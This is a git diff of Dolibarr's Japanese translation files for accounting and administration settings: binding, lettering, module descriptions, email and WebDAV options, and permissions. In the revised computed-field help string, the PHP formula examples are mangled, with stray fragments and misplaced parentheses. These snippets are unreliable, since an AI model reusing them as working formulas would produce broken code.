+ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=他の外国から購入および輸入されたサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=販売されたサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=EEC から別の EEC 国に販売されるサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=他の外国に販売および輸出されるサービスのデフォルト アカウントとして使用されるアカウント (アカウント チャートから) (サービス シートで定義されていない場合に使用) Doctype=ドキュメントの種別 Docdate=日付 @@ -214,7 +220,8 @@ Codejournal=仕訳帳 JournalLabel=仕訳帳ラベル NumPiece=個数番号 TransactionNumShort=数トランザクション -AccountingCategory=カスタムグループ +AccountingCategory=アカウントのカスタム グループ +AccountingCategories=アカウントのカスタム グループ GroupByAccountAccounting=総勘定元帳勘定によるグループ化 GroupBySubAccountAccounting=補助元帳アカウントでグループ化 AccountingAccountGroupsDesc=ここで、勘定科目のいくつかのグループを定義できる。それらは、パーソナライズされた会計報告書sに使用される。 @@ -231,6 +238,7 @@ ConfirmDeleteMvt=これにより、年/月および/または特定の仕訳の ConfirmDeleteMvtPartial=これにより、トランザクションが会計から削除される(同じトランザクションに関連する全行が削除される) FinanceJournal=財務仕訳帳 ExpenseReportsJournal=経費報告仕訳帳 +InventoryJournal=在庫仕訳帳 DescFinanceJournal=銀行口座による全種別の支払を含む財務仕訳帳 DescJournalOnlyBindedVisible=これは、勘定科目に結合され、仕訳帳と元帳に記録できるレコードのビュー。 VATAccountNotDefined=VATの科目が定義されていない @@ -262,19 +270,20 @@ ShowSubtotalByGroup=レベルごとに小計を表示 Pcgtype=勘定科目のグループ PcgtypeDesc=科目のグループは、一部の会計報告書sの事前定義された「フィルタ」および「グループ化」基準として使用される。たとえば、「INCOME」または「EXPENSE」は、費用/収入報告書sを作成するための製品の勘定科目のグループとして使用される。 +AccountingCategoriesDesc=アカウントのカスタム グループを使用して、会計アカウントを 1 つの名前にグループ化し、フィルターの使用やカスタム レポートの作成を容易にすることができる。 Reconcilable=調整可能 TotalVente=税引前総売上高 TotalMarge=売上総利益 -DescVentilCustomer=製品勘定科目に結合されている(または結合されていない)顧客請求書行のリストをここで参照すること -DescVentilMore=ほとんどの場合、事前定義された製品またはサービスを使用し、製品/サービスカードに勘定科目番号を設定すると、アプリケーションは、請求書の行と勘定科目表の勘定科目の間の全結合をボタン "%s" でワンクリックする。製品/サービスカードに勘定科目が設定されていない場合、または勘定科目に結合されていない行がまだある場合は、メニュー「%s」から手動で結合する必要がある。 -DescVentilDoneCustomer=請求書の顧客の行とその製品勘定科目のリストをここで参照すること -DescVentilTodoCustomer=製品勘定科目にまだ結合されていない請求書行を結合する -ChangeAccount=選択したラインの製品/サービス勘定科目を次の勘定科目に変更する。 +DescVentilCustomer=ここで、勘定科目表から製品アカウントにバインドされている (またはバインドされていない) 顧客請求明細行のリストを参照すること。 +DescVentilMore=ほとんどの場合、定義済みの製品またはサービスを使用し、製品/サービス カードに (勘定科目表から) アカウントを設定すると、アプリケーションは、請求明細行とチャートの会計勘定科目との間のすべてのバインドを行うことができる。ボタン "%s" を 1 回クリックするだけでアカウントの数を指定できる。製品/サービス カードにアカウントが設定されていない場合、またはアカウントにバインドされていない行がまだある場合は、メニュー " %s " から手動でバインドする必要がある。 +DescVentilDoneCustomer=顧客の請求明細行と勘定科目表からの製品勘定のリストを参照すること。 +DescVentilTodoCustomer=勘定科目表からまだ製品勘定にバインドされていない請求書明細をバインドする +ChangeAccount=次の勘定科目を使用して、選択した行の製品/サービス勘定科目を (勘定科目表から) 変更する。 Vide=- -DescVentilSupplier=ここで参照するのは仕入先請求書明細のリストで、それは製品会計勘定科目に引当済または未済のもの(会計でまだ転記されていないレコードのみが表示される) +DescVentilSupplier=勘定科目表から製品アカウントにバインドされている、またはまだバインドされていない仕入先請求明細行のリストを参照すること (経理部門でまだ転送されていないレコードのみが表示される)。 DescVentilDoneSupplier=ベンダーの請求書の行とその勘定科目のリストをここで参照すること DescVentilTodoExpenseReport=まだ料金勘定科目に結合されていない経費報告書行を結合する DescVentilExpenseReport=手数料勘定科目に結合されている(または結合されていない)経費報告行のリストをここで参照すること @@ -286,20 +295,21 @@ DescClosure=まだ検証されておらずロックされていない月ごと OverviewOfMovementsNotValidated=検証およびロックされていない動きの概要 AllMovementsWereRecordedAsValidated=全動きは検証され、ロックされたものとして記録された NotAllMovementsCouldBeRecordedAsValidated=全動きを検証済みおよびロック済みとして記録できるわけではない -ValidateMovements=レコードを検証してロックする... +ValidateMovements=動きを検証してロックする... DescValidateMovements=書き込み、レタリング、削除の変更または削除は禁止される。演習の全エントリが要検証済。検証済でないと、閉じることができない。 ValidateHistory=自動的に結合 AutomaticBindingDone=自動結合が実行された(%s)-一部のレコードでは自動結合不可(%s) +DoManualBindingForFailedRecord=自動的にリンクされない %s 行(s)を手動でリンクする必要がある。 -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used +ErrorAccountancyCodeIsAlreadyUse=エラー、この勘定科目表は使用されているため、削除または無効化できない MvtNotCorrectlyBalanced=動きのバランスが正しくない。借方=%s&貸方= %s Balancing=バランシング FicheVentilation=結合カード GeneralLedgerIsWritten=トランザクションは元帳に書き込まれる GeneralLedgerSomeRecordWasNotRecorded=一部のトランザクションは仕訳帳化できない。他にエラーメッセージがない場合は、既に仕訳帳化されている可能性がある。 NoNewRecordSaved=転送するレコードはもうない -ListOfProductsWithoutAccountingAccount=勘定科目に結合されていない製品のリスト +ListOfProductsWithoutAccountingAccount=勘定科目表のいずれの勘定にもバインドされていない製品のリスト ChangeBinding=結合を変更する Accounted=元帳に計上 NotYetAccounted=まだ経理に回していない @@ -322,9 +332,10 @@ AccountingJournalType1=その他の操作 AccountingJournalType2=販売 AccountingJournalType3=購入 AccountingJournalType4=バンク -AccountingJournalType5=経費報告書 +AccountingJournalType5=経費報告書s AccountingJournalType8=目録 AccountingJournalType9=持っている-新規 +GenerationOfAccountingEntries=会計仕訳の生成 ErrorAccountingJournalIsAlreadyUse=この仕訳帳は既に使用されている AccountingAccountForSalesTaxAreDefinedInto=注:消費税の勘定科目は、メニュー %s -- %sに定義されている。 NumberOfAccountancyEntries=エントリー数 @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=楽章の数 ACCOUNTING_DISABLE_BINDING_ON_SALES=販売の会計における結合と転記を無効にする(顧客の請求書は会計に考慮されない) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=購入時の会計における結合と転記を無効にする(ベンダーの請求書は会計で考慮されない) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=経費報告書sの会計における結合と転記を無効にする(経費報告書sは会計で考慮されない) +ACCOUNTING_ENABLE_LETTERING=会計でレタリング機能を有効化 +ACCOUNTING_ENABLE_AUTOLETTERING=会計への転送時に自動レタリングを有効化 ## Export +NotExportLettering=ファイルの生成時にレタリングをエクスポートしない NotifiedExportDate=エクスポートされた行にエクスポート済みのフラグを付ける(行を変更するには、トランザクション全体を削除して、会計に再転送する必要がある) NotifiedValidationDate=エクスポートされたエントリを検証してロックする(「%s」機能と同じ効果、行の変更と削除は絶対に不可) +NotifiedExportFull=ドキュメントをエクスポートするか? DateValidationAndLock=日付の検証とロック ConfirmExportFile=会計エクスポートファイルの生成を確定するか? ExportDraftJournal=下書き仕訳帳のエクスポート @@ -392,7 +407,7 @@ SaleLocal=ローカルセール SaleExport=エクスポート販売 SaleEEC=EECでの販売 SaleEECWithVAT=VATがnullではないEECでの販売。したがって、これは域内販売ではなく、提案された科目は標準の製品科目であると想定する。 -SaleEECWithoutVATNumber=VATなしのEECでの販売 が、取引先のVATIDは定義されていない。標準販売の製品科目にフォールバックする。必要に応じて、取引先または製品科目のVATIDを修正できる。 +SaleEECWithoutVATNumber=VAT なしの EEC での販売ですが、サードパーティの VAT ID は定義されていない。標準販売のアカウントにフォールバックする。必要に応じて、サードパーティの VAT ID を修正するか、バインディング用に提案された製品アカウントを変更できる。 ForbiddenTransactionAlreadyExported=禁止:トランザクションは検証済 かつ/または エクスポート済。 ForbiddenTransactionAlreadyValidated=禁止:トランザクションは検証済。 ## Dictionary @@ -401,7 +416,11 @@ Calculated=計算済 Formula=式 ## Reconcile +LetteringAuto=自動照合 +LetteringManual=手動照合 Unlettering=和解しない +UnletteringAuto=自動照合解除 +UnletteringManual=手動照合解除 AccountancyNoLetteringModified=調整は変更されない AccountancyOneLetteringModifiedSuccessfully=1つの調整が正常に変更された AccountancyLetteringModifiedSuccessfully=%s調整が正常に変更された @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=1つの調整解除が正常に変 AccountancyUnletteringModifiedSuccessfully=%sunreconcileが正常に変更された ## Confirm box -ConfirmMassUnlettering=一括調整解除確認 -ConfirmMassUnletteringQuestion=選択した%sレコード(s)の調整を解除してもよいか? +ConfirmMassUnletteringAuto=一括自動照合解除確認 +ConfirmMassUnletteringManual=一括手動照合解除確認 +ConfirmMassUnletteringQuestion=選択した %s レコード(s)を照合解除するか? ConfirmMassDeleteBookkeepingWriting=一括削除確定 ConfirmMassDeleteBookkeepingWritingQuestion=これにより、トランザクションが会計から削除される(同じトランザクションに関連する全行が削除される)。選択した%sレコード(s)を削除してもよいか? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=調整コードの不一致 AccountancyErrorMismatchBalanceAmount=残高(%s)が0に等しくない AccountancyErrorLetteringBookkeeping=トランザクションに関してエラーが発生しました:%s ErrorAccountNumberAlreadyExists=会計番号%sはすでに存在する +ErrorArchiveAddFile=「%s」ファイルをアーカイブに入れることができない ## Import ImportAccountingEntries=会計仕訳 @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=他通貨 コード (Idevise) DateExport=日付のエクスポート WarningReportNotReliable=警告、この報告書は元帳に基づいていないため、元帳で手動で変更されたトランザクションは含まれていない。仕訳帳化が最新の場合、簿記ビューはより正確。 ExpenseReportJournal=経費報告仕訳帳 -InventoryJournal=目録仕訳帳 +DocsAlreadyExportedAreExcluded=すでにエクスポートされたドキュメントは除外される +ClickToHideAlreadyExportedLines=クリックして、すでにエクスポートされた行を非表示にする NAccounts=%sアカウント diff --git a/htdocs/langs/ja_JP/admin.lang b/htdocs/langs/ja_JP/admin.lang index 8627254d779..bc562de5cb1 100644 --- a/htdocs/langs/ja_JP/admin.lang +++ b/htdocs/langs/ja_JP/admin.lang @@ -48,11 +48,9 @@ DBSortingCharset=データソート用のデータベース·キャラセット HostCharset=ホストのキャラセット ClientCharset=クライアントのキャラセット ClientSortingCharset=クライアントの文字照合則 -WarningModuleNotActive=モジュール%sを有効にする必要がある -WarningOnlyPermissionOfActivatedModules=ここには、有効化されたモジュールに関連する権限のみが表示される。ホーム->設定->モジュール ページで他のモジュールを有効化できる。 +WarningModuleNotActive=モジュール%sを有効化する必要がある +WarningOnlyPermissionOfActivatedModules=ここには、活性化済モジュールに関連する権限のみが表示される。ホーム->設定->モジュール ページで他のモジュールを活性化できる。 DolibarrSetup=Dolibarrインストールまたはアップグレード -InternalUser=内部ユーザ -ExternalUser=外部ユーザ InternalUsers=内部ユーザ ExternalUsers=外部ユーザ UserInterface=ユーザインターフェース @@ -60,7 +58,7 @@ GUISetup=表示 SetupArea=設定 UploadNewTemplate=新規テンプレート(s)をアップロード FormToTestFileUploadForm=ファイルのアップロードをテストするために形成する ( 設定に応じて ) -ModuleMustBeEnabled=モジュール/アプリケーション%sを有効にする必要がある +ModuleMustBeEnabled=モジュール/アプリケーション%sを有効化する必要がある ModuleIsEnabled=モジュール/アプリケーション%sが有効になった IfModuleEnabled=注:【はい】が利用可能なのは、モジュール%sの有効時のみ RemoveLock=ファイル%s が存在する場合、それを削除/改名することで、更新/インストール のツールが使用可能になる。 @@ -147,6 +145,7 @@ Box=ウィジェット Boxes=ウィジェット MaxNbOfLinesForBoxes=ウィジェットsの最大行数 AllWidgetsWereEnabled=使用可能な全ウィジェットsが有効 +WidgetAvailable=利用可能なウィジェット PositionByDefault=デフォルト順 Position=位置 MenusDesc=メニューマネージャは、2つのメニューバー ( 水平および垂直 ) のコンテンツを設定する。 @@ -237,9 +236,9 @@ DevelopYourModuleDesc=独自のモジュールを開発するためのいくつ URL=URL RelativeURL=相対URL BoxesAvailable=利用可能ウィジェット -BoxesActivated=有効化済ウィジェット -ActivateOn=で有効化 -ActiveOn=で有効化済 +BoxesActivated=活性化済ウィジェット +ActivateOn=で活性化 +ActiveOn=で活性化済 ActivatableOn=でアクティブ化可能 SourceFile=ソースファイル AvailableOnlyIfJavascriptAndAjaxNotDisabled=JavaScriptが無効になっていない場合にのみ使用可能 @@ -247,8 +246,8 @@ Required=必須 UsedOnlyWithTypeOption=一部の議題オプションでのみ使用 Security=セキュリティー Passwords=パスワード -DoNotStoreClearPassword=データベースに保存されているパスワードを暗号化する ( プレーンテキストとしてではない ) 。このオプションを有効化することを強くお勧めする。 -MainDbPasswordFileConfEncrypted=conf.phpに保存されているデータベースパスワードを暗号化する。このオプションを有効化することを強くお勧めする。 +DoNotStoreClearPassword=データベースに保存されているパスワードを暗号化する ( プレーンテキストとしてではない ) 。このオプションを活性化することを強くお勧めする。 +MainDbPasswordFileConfEncrypted=conf.phpに保存されているデータベースパスワードを暗号化する。このオプションを活性化することを強くお勧めする。 InstrucToEncodePass=パスワードをconf.php ファイルにエンコードするには、行
      $ dolibarr_main_db_pass = "..."を置き換える。
      by
      $ dolibarr_main_db_pass = "crypted:%s"; InstrucToClearPass=パスワードをconf.php ファイルにデコード ( クリア ) するには、行
      $ dolibarr_main_db_pass = "crypted:...";を置き換える。
      by
      $ dolibarr_main_db_pass = "%s"; ProtectAndEncryptPdfFiles=生成されたPDFファイルを保護する。大量のPDF生成が中断されるため、これはお勧めしない。 @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPSホスト ( php.iniのデフォルト値: MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP / SMTPSポート ( UnixライクなシステムではPHPに定義されていない ) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP / SMTPSホスト ( UnixライクなシステムではPHPに定義されていない ) MAIN_MAIL_EMAIL_FROM=自動メールの送信者メール ( php.iniのデフォルト値: %s ) +EMailHelpMsgSPFDKIM=Dolibarr の電子メールがスパムとして分類されるのを防ぐには、サーバーが SPF および DKIM 構成によってこのアドレスからの電子メールの送信を許可されていることを確認すること。 MAIN_MAIL_ERRORS_TO=エラーに使用されたEメールはEメールを返する ( 送信されたEメールのフィールド「Errors-To」 ) MAIN_MAIL_AUTOCOPY_TO= 送信された全メールをコピー ( Bcc ) MAIN_DISABLE_ALL_MAILS=全電子メール送信を無効にする ( テスト目的またはデモ用 ) @@ -375,7 +375,7 @@ DoTestSendHTML=HTMLを送信するテスト ErrorCantUseRazIfNoYearInMask=エラー。シーケンス{yy}または{yyyy}がマスクされていない場合、オプション@を使用して毎年カウンターをリセットすることはできない。 ErrorCantUseRazInStartedYearIfNoYearMonthInMask=エラー、シーケンス場合は、@オプションを使用することはできない{YY} {ミリメートル}または{探す} {mmは}マスクではない。 UMask=のUnix / Linux / BSDのファイルシステム上に新規ファイルのumaskパラメータ。 -UMaskExplanation=このパラメータは、 ( たとえば、アップロード中に ) 、サーバー上でDolibarrによって作成されたファイルは、デフォルトで設定されているアクセス許可を定義することができる。
      それは、8進値 ( 例えば、0666が意味するのは全員に対して読取および書込 ) である必要がある。
      このパラメータは、Windowsサーバー上では役に立たない。 +UMaskExplanation=このパラメーターを使用すると、サーバー上で Dolibarr によって作成されたファイルにデフォルトで設定されるアクセス許可を定義できる (アップロード中など)。
      8 進数値であること (たとえば、0666 は全員の読み書きを意味する)。推奨値は 0600 または 0660
      。このパラメーターは、Windows サーバーでは使われない。 SeeWikiForAllTeam=寄稿者とその組織のリストについては、Wikiページを見ること。 UseACacheDelay= 秒単位でをエクスポート応答をキャッシュするための遅延 ( 0またはキャッシュなしの空の ) DisableLinkToHelpCenter=ログインページのリンク「ヘルプまたはサポートが必要」を非表示にする @@ -401,7 +401,7 @@ ThemeDir=スキンディレクトリ ConnectionTimeout=接続タイムアウト ResponseTimeout=応答タイムアウト SmsTestMessage=_人のPHONEFROM__から__までのテストメッセージPHONETO__ -ModuleMustBeEnabledFirst=この機能が必要な場合は、モジュール %sを最初に有効にする必要がある。 +ModuleMustBeEnabledFirst=この機能が必要な場合は、モジュール %sを最初に有効化する必要がある。 SecurityToken=セキュリティで保護されたURLへの鍵 NoSmsEngine=利用可能なSMS送信者マネージャーはない。 SMS送信者マネージャーは、外部仕入先に依存しているため、デフォルトのディストリビューションではインストールされないが、%sで見つけることができる。 PDF=PDF @@ -439,8 +439,10 @@ Unique=ユニーク Boolean=ブール値 ( 1つのチェックボックス ) ExtrafieldPhone = 電話 ExtrafieldPrice = 価格 +ExtrafieldPriceWithCurrency=通貨での価格 ExtrafieldMail = Eメール ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = リストを選択 ExtrafieldSelectList = 表から選択 ExtrafieldSeparator=セパレーター ( フィールドではない ) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=チェックボックス ExtrafieldCheckBoxFromList=テーブルのチェックボックス ExtrafieldLink=オブジェクトへのリンク ComputedFormula=計算フィールド -ComputedFormulaDesc=ここに、オブジェクトの他のプロパティまたは任意のPHPコーディングを使用して数式を入力し、動的な計算値を取得できる。 "?" を含むPHP互換の数式を使用できる。条件演算子、および次のグローバルオブジェクト: $db, $conf, $langs, $mysoc, $user, $object.
      警告: $objectの一部のプロパティのみが使用可能である可能性がある。 ロードされていないプロパティが必要な場合は、2番目の例のように、単純にオブジェクトを自分で数式にフェッチする。
      計算フィールドを使用すると、インターフェイスから値を入力できなくなる。また、構文エラーがある場合、数式は何も返さない場合がある。

      式の例:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      オブジェクトをリロードする例
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      オブジェクトとその親オブジェクトを強制的にロードする式のその他の例:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=ここで、オブジェクトの他のプロパティまたは任意の PHP コーディングを使用して式を入力し、動的に計算された値を取得できる。 「?」を含む任意の PHP 互換式を使用できる。条件演算子、および次のグローバル オブジェクト: $db、$conf、$langs、$mysoc、$user、$objectoffield
      警告 : ロードされていないオブジェクトのプロパティが必要な場合は、2 番目の例のように、オブジェクトを式にフェッチすること。
      計算フィールドを使用すると、インターフェイスから値を入力できなくなる。また、構文エラーがある場合、式は何も返さない場合がある。

      式の例:
      $objectoffield->id < 10 ? round($objectoffield-> id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2->capital / 5: '-1')

      オブジェクトをリロードする例:
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      オブジェクトとその親オブジェクトを強制ロードする式の他の例:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: '親プロジェクトが見当たらない' Computedpersistent=計算フィールドを保存する ComputedpersistentDesc=計算された追加フィールドはデータベースに保存されるが、値はこのフィールドのオブジェクトが変更された場合にのみ再計算される。計算フィールドが他のオブジェクトまたはグローバルデータに依存している場合、この値は間違っている可能性がある!! ExtrafieldParamHelpPassword=このフィールドを空白のままにすると、この値は暗号化なしで保存される ( フィールドは画面上の星印でのみ非表示にする必要がある ) 。
      デフォルトの暗号化ルールを使用してパスワードをデータベースに保存するように「auto」を設定する ( この場合、読み取られる値はハッシュのみになり、元の値を取得する方法はない ) @@ -482,7 +484,7 @@ EraseAllCurrentBarCode=現在のバーコード値をすべて消去する ConfirmEraseAllCurrentBarCode=現在のバーコード値をすべて消去してもよいか? AllBarcodeReset=全バーコード値が削除された NoBarcodeNumberingTemplateDefined=バーコードモジュールの設定で採番バーコードテンプレートが有効でない。 -EnableFileCache=ファイルキャッシュを有効にする +EnableFileCache=ファイルキャッシュを有効化 ShowDetailsInPDFPageFoot=法人の住所やマネージャーの名前 ( 職業分類IDに加えて、法人の資本金、VAT番号 ) などの詳細をフッターに追加する。 NoDetails=フッターに追加の詳細はない DisplayCompanyInfo=法人の住所を表示する @@ -501,7 +503,8 @@ WarningPHPMail=警告:アプリケーションから電子メールを送信 WarningPHPMailA=-電子メールサービスプロバイダーのサーバーを使用すると、電子メールの信頼性が向上するため、スパムとしてフラグが立てられることなく配信可能性が向上する。 WarningPHPMailB=-一部の電子メールサービスプロバイダー ( Yahooなど ) では、独自のサーバー以外のサーバーから電子メールを送信することを許可していない。現在の設定では、電子メールプロバイダーのサーバーではなく、アプリケーションのサーバーを使用して電子メールを送信するため、一部の受信者 ( 制限付きDMARCプロトコルと互換性のある受信者 ) は、電子メールプロバイダーと一部の電子メールプロバイダーを受け入れることができるかどうかを電子メールプロバイダーに尋ねる。 ( Yahooのように ) サーバーが彼らのものではないために「いいえ」と応答する場合がある。そのため、送信された電子メールの一部が配信を受け入れられない場合がある ( 電子メールプロバイダーの送信クォータにも注意すること ) 。 WarningPHPMailC=-独自の電子メールサービスプロバイダーのSMTPサーバーを使用して電子メールを送信することも興味深いので、アプリケーションから送信される全電子メールもメールボックスの「送信済」ディレクトリに保存される。 -WarningPHPMailD=また、メールの送信方法を「SMTP」に変更することを推奨。メールを送信するためにデフォルトの「PHP」メソッドを本当に維持したい場合、この警告を無視するか、ホーム - 設定 - その他 で MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP 定数を1に設定して削除すること。 +WarningPHPMailD=したがって、電子メールの送信方法を値「SMTP」に変更することをお勧めする。 +WarningPHPMailDbis=メールを送信するデフォルトの「PHP」メソッドを本当に維持したい場合は、この警告を無視するか、%sここをクリック%sして削除すること。 WarningPHPMail2=電子メールSMTPプロバイダーが電子メールクライアントをいくつかのIPアドレスに制限する必要がある場合 ( 非常にまれ ) 、これはERP CRMアプリケーションのメールユーザエージェント ( MUA ) のIPアドレス : %s。 WarningPHPMailSPF=送信者のメールアドレスのドメイン名がSPFレコードで保護されている場合(ドメイン名登録者に問い合わせる)、自ドメインのDNSのSPFレコードに次のIPを追加する必要がある: %s。 ActualMailSPFRecordFound=実際の SPF レコードが見つかった (電子メール %s の場合): %s @@ -513,8 +516,8 @@ PageUrlForDefaultValues=ページURLの相対パスを入力する必要があ PageUrlForDefaultValuesCreate=
      例:
      新規取引先を作成するフォームの場合、 %s
      カスタムディレクトリにインストールされた外部モジュールのURLには、「custom /」を含めないため、custom/mymodule/mypage.phpではなく、 mymodule/mypage.phpのようなパスを使用する。
      URLに何らかのパラメータがある場合にのみデフォルト値が必要な場合は、 %sを使用できる。 PageUrlForDefaultValuesList=
      例:
      取引先を一覧表示するページの場合、 %s
      カスタムディレクトリにインストールされた外部モジュールのURLには、「custom /」を含めないため、custom/mymodule/mypagelist.phpではなくmymodule/mypagelist.phpのようなパスを使用する。
      URLに何らかのパラメータがある場合にのみデフォルト値が必要な場合は、 %sを使用できる。 AlsoDefaultValuesAreEffectiveForActionCreate=また、フォーム作成のデフォルト値の上書きは、正しく設計されたページに対してのみ機能することに注意すること ( したがって、パラメーターaction = createまたはpresend ...を使用 ) 。 -EnableDefaultValues=デフォルト値のカスタマイズを有効にする -EnableOverwriteTranslation=上書きされた翻訳の使用を有効にする +EnableDefaultValues=デフォルト値のカスタマイズを有効化 +EnableOverwriteTranslation=翻訳のカスタマイズを許可する GoIntoTranslationMenuToChangeThis=このコードのキーの翻訳が見つかりました。この値を変更するには、Home-Setup-translationから編集する必要がある。 WarningSettingSortOrder=警告、デフォルトのソート順を設定すると、フィールドが不明なフィールドの場合、リストページに移動するときに技術エラーが発生する可能性がある。このようなエラーが発生した場合は、このページに戻ってデフォルトの並べ替え順序を削除し、デフォルトの動作を復元すること。 Field=フィールド @@ -529,11 +532,11 @@ FilesAttachedToEmail=ファイルを添付する SendEmailsReminders=メールで議題のリマインダーを送信する davDescription=WebDAVサーバーを設定する DAVSetup=モジュールDAVの設定 -DAV_ALLOW_PRIVATE_DIR=汎用非公開ディレクトリを有効にする ( 「private」という名前のWebDAV専用ディレクトリ-ログインが必要 ) +DAV_ALLOW_PRIVATE_DIR=汎用非公開ディレクトリを有効化 ( 「private」という名前のWebDAV専用ディレクトリ-ログインが必要 ) DAV_ALLOW_PRIVATE_DIRTooltip=汎用非公開ディレクトリは、アプリケーションのログイン/パスを使用して誰でもアクセスできるWebDAVディレクトリ。 -DAV_ALLOW_PUBLIC_DIR=汎用公開ディレクトリを有効にする ( 「public」という名前のWebDAV専用ディレクトリ-ログインは不要 ) +DAV_ALLOW_PUBLIC_DIR=汎用公開ディレクトリを有効化 ( 「public」という名前のWebDAV専用ディレクトリ-ログインは不要 ) DAV_ALLOW_PUBLIC_DIRTooltip=汎用公開ディレクトリは、誰でも ( 読取りおよび書き込みモードで ) アクセスできるWebDAVディレクトリであり、認証は必要ない ( ログイン/パスワードアカウント ) 。 -DAV_ALLOW_ECM_DIR=DMS / ECM非公開ディレクトリを有効にする ( DMS / ECMモジュールのルートディレクトリ-ログインが必要 ) +DAV_ALLOW_ECM_DIR=DMS / ECM非公開ディレクトリを有効化 ( DMS / ECMモジュールのルートディレクトリ-ログインが必要 ) DAV_ALLOW_ECM_DIRTooltip=DMS / ECMモジュールの使用時に全ファイルが手動でアップロードされるルートディレクトリ。同様に、Webインターフェイスからのアクセスと同様に、アクセスするには、適切な権限を持つ有効なログイン/パスワードが必要。 # Modules Module0Name=ユーザとグループ @@ -643,21 +646,25 @@ Module2300Name=スケジュールされたジョブ Module2300Desc=スケジュールされたジョブ管理 ( 別名cronまたはクロノテーブル ) Module2400Name=イベント/議題 Module2400Desc=トラック競技。追跡目的で自動イベントをログに記録するか、手動のイベントまたは会議を記録する。これは、優れた顧客または仕入先関係管理の主要なモジュール。 +Module2430Name=予約カレンダーシステム +Module2430Desc=事前に定義された範囲または空き状況に応じて、誰でもランデブーを予約できるオンライン カレンダーを提供する。 Module2500Name=DMS / ECM Module2500Desc=ドキュメント管理システム/電子コンテンツ管理。生成または保存されたドキュメントの自動編成。必要なときに共有すること。 -Module2600Name=API / Webサービス ( SOAPサーバー ) -Module2600Desc=APIサービスを提供するDolibarrSOAPサーバーを有効にする -Module2610Name=API / Webサービス ( RESTサーバー ) -Module2610Desc=APIサービスを提供するDolibarrRESTサーバーを有効にする +Module2600Name=API・Webサービス(SOAPサーバー) +Module2600Desc=APIサービスを提供するDolibarrSOAPサーバーを有効化 +Module2610Name=API / Web サービス (REST サーバー) +Module2610Desc=APIサービスを提供するDolibarrRESTサーバーを有効化 Module2660Name=Webサービスの呼び出し ( SOAPクライアント ) -Module2660Desc=Dolibarr Webサービスクライアントを有効にする ( データ/要求を外部サーバーにプッシュするために使用できる。現在サポートされているのは購買発注のみ ) 。 +Module2660Desc=Dolibarr Webサービスクライアントを有効化 ( データ/要求を外部サーバーにプッシュするために使用できる。現在サポートされているのは購買発注のみ ) 。 Module2700Name=グラバター Module2700Desc=オンラインのGravatarサービス (www.gravatar.com) を使用して、ユーザ/構成員の写真を表示する ( メールに記載されている ) 。インターネットアクセスが必要 Module2800Desc=FTPクライアント Module2900Name=GeoIPMaxmind Module2900Desc=のGeoIP Maxmindの変換機能 Module3200Name=変更不可能なアーカイブ -Module3200Desc=ビジネスイベントの変更不可能なログを有効にする。イベントはリアルタイムでアーカイブされる。ログは、エクスポート可能な連鎖イベントの読取り専用テーブル。このモジュールは、国によっては必須の場合がある。 +Module3200Desc=ビジネスイベントの変更不可能なログを有効化。イベントはリアルタイムでアーカイブされる。ログは、エクスポート可能な連鎖イベントの読取り専用テーブル。このモジュールは、国によっては必須の場合がある。 +Module3300Name=モジュールビルダー +Module3300Desc=開発者または上級ユーザーが独自のモジュール/アプリケーションを構築するのに役立つ RAD (Rapid Application Development - ローコードおよびノーコード) ツール。 Module3400Name=ソーシャルネットワーク Module3400Desc=ソーシャルネットワークフィールドを取引先とアドレス(skype、twitter、facebookなど)に対して有効化する。 Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=インコタームズ Module62000Desc=インコタームズを管理する機能を追加する Module63000Name=資源 Module63000Desc=イベントに割り当てるためのリソース ( プリンター、車、部屋など ) を管理する -Permission11=顧客の請求書を読込む +Module66000Name=OAuth2 認証を有効にする +Module66000Desc=OAuth2 トークンを生成および管理するためのツールを提供する。その後、トークンは他のモジュールで使用できる。 +Module94160Name=領収 +Permission11=顧客の請求書 (および支払い) を読込む Permission12=顧客の請求書を作成/変更 Permission13=顧客の請求書を無効にする Permission14=顧客の請求書を検証 @@ -720,7 +730,7 @@ Permission36=隠された製品を参照すること/管理 Permission38=製品をエクスポート Permission39=最低価格を無視する 